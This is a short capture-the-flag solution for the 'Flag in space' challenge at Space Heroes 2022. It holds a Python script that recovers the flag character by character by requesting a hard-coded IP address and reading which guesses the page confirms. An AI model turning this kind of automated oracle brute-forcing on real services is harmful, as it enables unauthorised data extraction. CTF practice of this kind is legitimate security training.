Solution for challenge Flag in space at the Space Heroes 2022 CTF

flag_in_space.py

import requests

flag = ["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "}"]
res = ["s", "h", "c", "t", "f", "{"]

for i in range(0, len(flag)):
    for j in range (0x21, 0x7d):
        char = chr(j)
        url = "http://172.105.154.14/?flag=" + "".join(res) + char
        r = requests.get(url)
        response = "".join(r.text.split())
        previous = ""
        for k in range(0, len(res)):
            previous += "<div>" + res[k] + "</div>"
        if f"{previous}<div>{char}</div>" in response:
            res += char
            print("".join(res), end="\r")
            break
print("".join(res))